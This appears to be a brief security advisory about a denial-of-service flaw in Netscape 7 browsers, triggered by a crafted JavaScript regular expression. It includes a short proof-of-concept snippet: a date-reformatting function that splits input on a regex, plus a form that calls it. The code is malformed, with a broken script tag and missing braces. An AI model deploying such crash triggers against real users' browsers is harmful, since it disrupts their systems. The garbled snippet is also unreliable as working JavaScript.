It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.

If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.

This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected. 

<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
//return result;
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
